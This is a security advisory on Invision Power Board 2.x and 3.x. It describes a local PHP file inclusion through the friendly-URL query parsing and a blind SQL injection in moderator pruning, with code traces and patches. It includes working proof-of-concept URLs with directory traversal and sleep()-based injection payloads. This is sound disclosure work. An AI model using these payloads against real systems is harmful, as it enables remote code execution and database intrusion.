=============================================
- Severity: Moderately High
=============================================

I. VULNERABILITY
-------------------------
Invision Power Board <= 3.0.4 Local PHP File Inclusion and SQL Injection
Invision Power Board <= 2.3.6 SQL Injection

II. BACKGROUND
-------------------------

Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object

oriented code, highly-optimized SQL queries, and the fast PHP engine. A

comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and

perform a host of other options through the user control panel.

III. INTRODUCTION
-------------------------

For a good understanding of the vulnerabilities it is necessary to be familiar

with the way IPB handles input data. Below is a quick trace of input
validation process. The code snippets come from IPB version 3.0.4.

line | file: admin/sources/base/ipsRegistry.php
352  | static public function init()
353  | {
...  |
...  |
462  | IPSLib::cleanGlobals( $_GET );
463  | IPSLib::cleanGlobals( $_POST );
464  | IPSLib::cleanGlobals( $_COOKIE );
465  | IPSLib::cleanGlobals( $_REQUEST );
466  |
467  | # GET first
468  | $input = IPSLib::parseIncomingRecursively( $_GET, array() );
469  |
470  | # Then overwrite with POST

471 | self::$request = IPSLib::parseIncomingRecursively( $_POST, $input );

...  |


The init() function cleans the input data passed via methods like GET, POST or

others at the start of each request to the forum before any of the input
variables are processed.

Let's look into sanitization performed by cleanGlobals function:

line | file: admin/sources/base/core.php
1644 | static public function cleanGlobals( &$data, $iteration = 0 )
1645 | {
...  |
1654 |        foreach( $data as $k => $v )
1655 |        {
1656 |               if ( is_array( $v ) )
1657 |               {

1658 | self::cleanGlobals( $data[ $k ], ++ $iteration );

1659 |               }
1660 |               else
1661 |               {
1662 |                       # Null byte characters
1663 |                       $v = str_replace( chr('0') , '', $v );
1664 |                       $v = str_replace( "\0"    , '', $v );
1665 |                       $v = str_replace( "\x00"  , '', $v );
1666 |                       $v = str_replace( '%00'   , '', $v );
1667 |
1668 |                       # File traversal

1669 | $v = str_replace( "../", "../", $v );

1670 |
1671 |                       $data[ $k ] = $v;
1672 |               }
1673 |        }
1674 | }


As we can see the function removes null characters and "../" sequences from

incoming data to prevent unwanted file inclusion.

The next function that affects the input is:

line | file: admin/sources/base/core.php

1573 | static public function parseIncomingRecursively( &$data, $input=array(), $iteration = 0 )

1574 | {
...  |
1583 |        foreach( $data as $k => $v )
1584 |        {
1585 |                if ( is_array( $v ) )
1586 |                {

1587 | $input[ $k ] = self::parseIncomingRecursively( $data[ $k ], array(), ++$iteration );

1588 |                }
1589 |                else
1590 |                {
1591 |                        $k = IPSText::parseCleanKey( $k );

1592 | $v = IPSText::parseCleanValue( $v, false );

1593 |
1594 |                        $input[ $k ] = $v;
1595 |                }
1596 |        }
1597 |
1598 |        return $input;
1599 | }

The purpose of this function is to clean the key/value pairs of an array

passed to it with help of the parseCleanKey and parseCleanValue functions. The first one can be skipped as neither of the attacks described later on require

special characters inside variable names. The other looks as follows:

line | file: admin/sources/base/core.php
4100 | static public function parseCleanValue( $val, $postParse=true )
4101 | {
4102 |     if ( $val == "" )
4103 |     {
4104 |             return "";
4105 |     }
4106 |

4107 | $val = str_replace( " ", " ", IPSText::stripslashes($val) );

4108 |
4109 |     # Convert all carriage return combos

4110 | $val = str_replace( array( "\r\n", "\n\r", "\r" ), "\n", $val );

4111 |
4112 |     $val = str_replace( "&", "&", $val );
4113 |     $val = str_replace( "<!--", "&#60;&#33;--", $val );
4114 |     $val = str_replace( "-->", "--&#62;", $val );
4115 |     $val = str_ireplace( "<script", "&#60;script", $val );
4116 |     $val = str_replace( ">", ">", $val );
4117 |     $val = str_replace( "<", "<", $val );
4118 |     $val = str_replace( '"', """, $val );

4119 | $val = str_replace( "\n", "<br />", $val ); // Convert literal newlines

4120 |     $val = str_replace( "$", "$", $val );
4121 |     $val = str_replace( "!", "!", $val );

4122 | $val = str_replace( "'", "'", $val ); // IMPORTANT: It helps to increase sql query safety.

4123 |
4124 |     if ( IPS_ALLOW_UNICODE )
...  |


The function cleans input data from characters used typically in XSS and SQL

attacks.


The resulting array containing sanitized input data from GET/POST methods is stored in ipsRegistry::$request array (as we can see on the first code

listing).

IV. LOCAL FILE INCLUSION VULNERABILITY
-------------------------

1. Description.


It is possible to include an arbitrary php file stored on the server in any

location (accessible by the php/web server process) by exploiting the
following code of IPB 3.0.4:

line | file: admin/sources/base/ipsController.php
142  |public function getCommand( ipsRegistry $registry )
143  |{
144  |         $_NOW = IPSDebug::getMemoryDebugFlag();
145  |
146  |         $module    = ipsRegistry::$current_module;
147  |         $section   = ipsRegistry::$current_section;

148 | $filepath = IPSLib::getAppDir( IPS_APP_COMPONENT ) . '/' . self::$modules_dir . '/' . $module . '/';

149  |
150  |         /* Got a section? */
151  |         if ( ! $section )
152  |         {

153 | if ( file_exists( $filepath . 'defaultSection.php' ) )

154  |                 {
155  |                         $DEFAULT_SECTION = '';

156 | require( $filepath . 'defaultSection.php' );

157  |
158  |                         if ( $DEFAULT_SECTION )
159  |                         {
160  |                                 $section = $DEFAULT_SECTION;
161  |                         }
162  |                 }
163  |         }
164  |

165 | $classname = self::$class_dir . '_' . IPS_APP_COMPONENT . '_' . $module . '_' . $section;

166  |
167  |         if ( file_exists( $filepath . 'manualResolver.php' ) )
168  |         {
169  |                 require_once( $filepath . 'manualResolver.php' );

170 | $classname = self::$class_dir . '_' . IPS_APP_COMPONENT . '_' . $module . '_manualResolver';

171  |         }
172  |         else if ( file_exists( $filepath . $section . '.php' ) )
173  |         {
174  |                 require_once( $filepath . $section . '.php' );
175  |         }
...  |


The require_once function on line 174 uses a variable $section to create a

path to a php file that is to be included. The variable is assigned the
following value:

line  | file: admin/sources/base/ipsRegistry.php

1654 | ipsRegistry::$current_section = ( ipsRegistry:: $request['section'] ) ? ipsRegistry::$request['section'] : '';

which as we know from the introduction comes from a user supplied variable

(via GET or POST method).


Although the whole $request array has been filtered out to prevent directory

traversal and arbitrary file inclusion it is possible to evade these

measures due to a bug in a function implementing the "friendly URLs" feature

introduced in version 3.0.0 of the IPB forum.

line | file: admin/sources/base/ipsRegistry.php
1188 | private static function _fUrlInit()
1189 | {
...  |
1195 |     if ( ipsRegistry::$settings['use_friendly_urls'] )
1196 |     {
...  |
...  |

1235 | $uri = $_SERVER['REQUEST_URI'] ? $_SERVER['REQUEST_URI'] : @getenv('REQUEST_URI');

1236 |
1237 |         $_toTest = $uri;        //( $qs ) ? $qs : $uri;
...  |
...  |
...  |
1306 |         //-----------------------------------------
1307 |         // If using query string furl, extract any
1308 |         // secondary query string.

1309 | // Ex: http://localhost/index.php?/path/file.html? key=value

1310 |         // Will pull the key=value properly
1311 |         //-----------------------------------------
1312 |
1313 |         if( substr_count( $_toTest, '?' ) > 1 )
1314 |         {

1315 | $_secondQueryString = substr( $_toTest, strrpos( $_toTest, '?' ) + 1 ); 1316 | $_secondParams = explode( '&', $_secondQueryString );

1317 |
1318 |                 if( count($_secondParams) )
1319 |                 {
1320 |                           foreach( $_secondParams as $_param )
1321 |                           {
1322 |                                  list( $k, $v )  = explode( '=', $_param );
1323 |
1324 |                                  $k      = IPSText::parseCleanKey( $k );
1325 |                                  $v      = IPSText::parseCleanValue( $v );
1326 |
1327 |                                  $_GET[ $k ]     = $v;
1328 |                                  $_REQUEST[ $k ] = $v;
1329 |                                  $_urlBits[ $k ] = $v;
1330 |
1331 |                                  ipsRegistry::$request[ $k ]     = $v;
1332 |                           }
1333 |                 }
1334 |         }
1335 | }
...  |

The above code allows for a secondary query string from which additional

variables are retrieved and saved in the $request array as well as $_GET and

$_REQUEST globals.
It takes a query string from a previously not cleaned global:

$_SERVER['REQUEST_URI'] and fails to check if the variables supplied in the

request URI string already exist in any of the arrays as well as to call
cleanGlobals function to sanitize the values.


A variable named 'section' can be passed in the secondary query string in order to bypass filtration of "../" and %00 sequences, effectively allowing to traverse directories and include any given php file within the system leading

to a local file inclusion attack.


Note: Omitting '.php' extension (to include arbitrary file like /etc/ passwd)

by using a NULL character will not be possible in this case as a

combination of %00 in the REQUEST_URI will not get decoded by the web server

automatically and there is no urldecode function to decode it before the
require_once call either.


Versions older than 3.0.4 have a different implementation of the friendly url

feature, but are also vulnerable in the same way.

2. Proof of concept.


This issue is trivial to exploit with a web browser and a known location of a

php file residing on the target system. Authorisation is not required.

For example, the following URL in case of IPB 3.0.4:


http://server-with-ipb-forum-3.0.4.com/forum/index.php?app=core&module=global&section=register&any= ? section = ../../../../../../../../../../../../../../../../../../../../../../../../../../tmp /inc

or the following in case of versions older than IPB 3.0.4:


http://server-with-ipb-forum-3.0.[0-3].com/forum/index.php? app=core&module=global&section=register/register/ page__section__ ../../../../../../../../../../../../../../../../../../../../../tmp/inc__

will result in including /tmp/inc.php file and executing code it contains.

V. SQL INJECTION VULNERABILITY
-------------------------

1. Description.


An SQL Injection attack is possible due to an insufficient sanitization in the

following function:

line | file: admin/applications/forums/sources/classes/moderate.php
1820 | /**
1821 |  * Create 'where' clause for SQL forum pruning
1822 |  *
1823 |  * @access      public
1824 |  * @return      boolean
1825 |  */

1826 | public function sqlPruneCreate( $forum_id, $starter_id="", $topic_state="", $post_min="", $date_exp="", $ignore_pin="" )

1827 | {
1828 |  $sql = 'forum_id=' . intval($forum_id);
1829 |
1830 |  if ( intval($date_exp) )
1831 |  {
1832 |          $sql .= " AND last_post < {$date_exp}";
1833 |  }
1834 |
1835 |  if ( intval($starter_id) )
1836 |  {
1837 |          $sql .= " AND starter_id={$starter_id}";
1838 |
1839 |  }
1840 |
1841 |  if ( intval($post_min) )
1842 |  {
1843 |          $sql .= " AND posts < {$post_min}";
1844 |  }
1845 |
1846 |  if ($topic_state != 'all')
1847 |  {
1848 |          if ($topic_state)
1849 |          {
1850 |                  $sql .= " AND state='{$topic_state}'";
1851 |          }
1852 |  }
1853 |
1854 |  if ( $ignore_pin != "" )
1855 |  {
1856 |          $sql .= " AND pinned=0";
1857 |  }
1858 |
1859 |
1860 |  return $sql;
1861 | }


All of the IF statements with intval() are to ensure that the arguments passed to the function are numeric before they are placed inside a WHERE clause of a

query.

Because of the way that intval() works, it is possible to fool the function by passing a string like: '1 OR sleep(5) '. In such case intval() will return a value of 1 thus satisfying the IF conditions and causing the string to be

placed inside the query.

The sqlPruneCreate function is used 2 times in a code that performs some
moderator's tasks. One invocation of it can be found in:


line | file: admin/applications/forums/modules_public/moderate/ moderate.php

2323 | protected function _pruneMove()
2324 | {
2325 |  //-----------------------------------------
2326 |  // Check
2327 |  //-----------------------------------------
2328 |
2329 |  $this->_resetModerator( $this->topic['forum_id'] );
2330 |
2331 |  $this->_genericPermissionCheck( 'mass_move' );
2332 |
2333 |  ///-----------------------------------------
2334 |  // SET UP
2335 |  //-----------------------------------------
2336 |

2337 | $pergo = intval( $this->request['pergo'] ) ? intval( $this->request['pergo'] ) : 50;

2338 |  $max            = intval( $this->request['max'] );
2339 |  $current        = intval($this->request['current']);
2340 |  $maxdone        = $pergo + $current;
2341 |  $tid_array      = array();
2342 |  $starter        = trim( $this->request['starter'] );
2343 |  $state          = trim( $this->request['state'] );
2344 |  $posts          = intval( $this->request['posts'] );
2345 |  $dateline       = intval( $this->request['dateline'] );
2346 |  $source         = $this->forum['id'];
2347 |  $moveto         = intval($this->request['df']);
2348 |  $date           = 0;
2349 |  $ignore_pin     = intval( $this->request['ignore_pin'] );
2350 |
2351 |  if( $dateline )
2352 |  {
2353 |          $date   = time() - $dateline*60*60*24;
2354 |  }
2355 |
2356 |  //-----------------------------------------
2357 |  // Carry on...
2358 |  //-----------------------------------------
2359 |

2360 | $dbPruneWhere = $this->modLibrary->sqlPruneCreate( $this- >forum['id'], $starter, $state, $posts, $date, $ignore_pin );

2361 |
2362 |  $this->DB->build( array(
2363 |                                                          'select'        => 'tid',
2364 |                                                          'from'          => 'topics',
2365 |                                                          'where'         => $dbPruneWhere,
2366 |                                                          'limit'         => array( 0, $pergo ),
2367 |                                          )               );
2368 |  $batch  = $this->DB->execute();
...  |

As we can see there are 2 variables that come from a user and are not

converted to a number before they are passed to the sqlPruneCreate function:

$starter and $state.

The second variable cannot be used in SQL Injection as it will be treated as a string and embraced with quotes by sqlPruneCreate. A string passed in $starter variable will be placed unquoted in the query as long as the first character is a number allowing a logged in moderator to perform an SQL Injection attack.

The vulnerability is somewhat tricky to exploit as there are quite a few

restrictions that make creating a successful sql attack vector difficult. Only the WHERE statement can be controlled, quotes are filtered, and UNION or sub selects are prohibited too (at least in case of a MySQL driver). To top it all, the results of the query are not outputted to the browser so it will have

to be a blind injection.

Nevertheless a crafty attacker might issue a series of requests that might

allow him to gain some information about the target system or even read

files from the disk depending on permissions granted to the db account that is used by the forum. Other attacks might also be possible when a database engine

other than MySQL is used.

2. Proof of concept.

If a logged in user with moderator privileges requests an URL like:

http://server-with-ipb-3.x.x-forum.com/forum/?app=forums&module=moderate&section=moderate&f=1&do=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20--%20skip%20&auth_key=c4276b77602767228faa9760eb4a5abd

in case of IPB 3.x, or:

http://server-with-ipb-2.x.x-forum.com/forum/?act=mod&f=1&CODE=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(16)%20--%20skip%20&auth_key=040c4a6e768d626b4c05a4bb0fbf315c

in case of IPB 2.x.

A query similar to:


SELECT tid FROM ibftopics WHERE forum_id=1 AND starter_id=1 AND starter_id=1 OR substr(version(),1,1)=5 AND sleep(15) -- skip AND state='open' AND pinned=0

LIMIT 0,50

will be run against the database.

The query will check if a major version of MySQL server is equal to 5. If that is the case a sleep function will be run which will slow down the page load by

15 seconds thus revealing the result of the query.


For this to work a valid auth_key needs to be supplied (that can be obtained by going to any of the forums, clicking Forum Management button and selecting Prune/Mass Move feature). Source ($f) and Destination ($df) forums parameters

in the URL might also need adjusting.

VI. BUSINESS IMPACT
-------------------------

The Local PHP File Inclusion vulnerability can be especially dangerous in a shared hosting environment. Even if server has been configured to prevent

users from reading each other's document roots (web server/PHP process

running in a context of the site's owner), an attacker that has an account on the same server as the targeted site could use the vulnerability to place a php file in a shared directory like /tmp and cause the IPB forum on the target

to execute his code thus gaining access equivalent to the owner of the
website.


The SQL Injection vulnerability is only a threat in case there are moderators

on the forum that cannot be fully trusted or if an attacker manages to
steal/guess their passwords. Possible risks in case of a successful
exploitation of this flaw have been described in the previous section.

VII. SYSTEMS AFFECTED
-------------------------

All of the IPB versions of the 3.x series (including the newest release of

3.0.4) are affected by the Local PHP File Inclusion and SQL Injection
vulnerabilities.


Probably most if not all of IPB releases of the 2.x series (including 2.3.6)

are affected by the SQL Injection vulnerability.

VIII. SOLUTION
-------------------------

Vendor has been informed about the vulnerabilities and should be releasing

patches soon.


I attach 2 patches for the current versions of both 2.x and 3.x series that

can be used as a temporary solution.

IPB 3.0.4 patch:


diff -Nprub ipb304/admin/applications/forums/sources/classes/ moderate.php ipb304-patched/admin/applications/forums/sources/classes/ moderate.php --- ipb304/admin/applications/forums/sources/classes/moderate.php 2009-10-08 16:34:50.000000000 +0100 +++ ipb304-patched/admin/applications/forums/sources/classes/ moderate.php 2009-11-29 01:01:49.000000000 +0000

@@ -1829,18 +1829,18 @@ class moderatorLibrary

                if ( intval($date_exp) )
                {
-                       $sql .= " AND last_post < {$date_exp}";
+                       $sql .= " AND last_post < ". intval($date_exp);
                }
                
                if ( intval($starter_id) )
                {
-                       $sql .= " AND starter_id={$starter_id}";
+                       $sql .= " AND starter_id=". intval($starter_id);
                        
                }
                
                if ( intval($post_min) )
                {
-                       $sql .= " AND posts < {$post_min}";
+                       $sql .= " AND posts < ". intval($post_min);
                }
                
                if ($topic_state != 'all')

diff -Nprub ipb304/admin/sources/base/ipsRegistry.php ipb304-patched/ admin/sources/base/ipsRegistry.php --- ipb304/admin/sources/base/ipsRegistry.php 2009-10-08 16:34:24.000000000 +0100 +++ ipb304-patched/admin/sources/base/ipsRegistry.php 2009-11-29 00:57:13.000000000 +0000

@@ -479,6 +479,9 @@ class ipsRegistry
                

/* First pass of app set up. Needs to be BEFORE caches and member are set up */

                self::_fUrlInit();
+               IPSLib::cleanGlobals( $_GET );
+               IPSLib::cleanGlobals( $_REQUEST );
+               IPSLib::cleanGlobals( self::$request );

                self::_manageIncomingURLs();


IPB 2.3.6 patch:


diff -Nprub ipb236/sources/lib/func_mod.php ipb236-patched/sources/lib/ func_mod.php

--- ipb236/sources/lib/func_mod.php     2009-11-29 01:10:13.000000000 +0000

+++ ipb236-patched/sources/lib/func_mod.php 2009-11-29 01:19:23.000000000 +0000

@@ -1219,18 +1219,18 @@ class func_mod
                
                if ( intval($date_exp) )
                {
-                       $sql .= " AND last_post < $date_exp";
+                       $sql .= " AND last_post < ". intval($date_exp);
                }
                
                if ( intval($starter_id) )
                {
-                       $sql .= " AND starter_id=$starter_id";
+                       $sql .= " AND starter_id=". intval($starter_id);
                        
                }
                
                if ( intval($post_min) )
                {
-                       $sql .= " AND posts < $post_min";
+                       $sql .= " AND posts < ". intval($post_min);
                }
                
                if ($topic_state != 'all')


Apply by going to your forum's directory and running the command:
patch -p1 < path_to_the_patch

IX. REFERENCES
-------------------------
http://www.invisionpower.com/products/board/

X. CREDITS
-------------------------
The vulnerabilities have been discovered by Dawid Golunski
golunski (at) onet (dot) eu

XI. REVISION HISTORY
-------------------------
December 4th, 2009: Initial release

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise. I accept no

responsibility for any damage caused by the use or misuse of this information.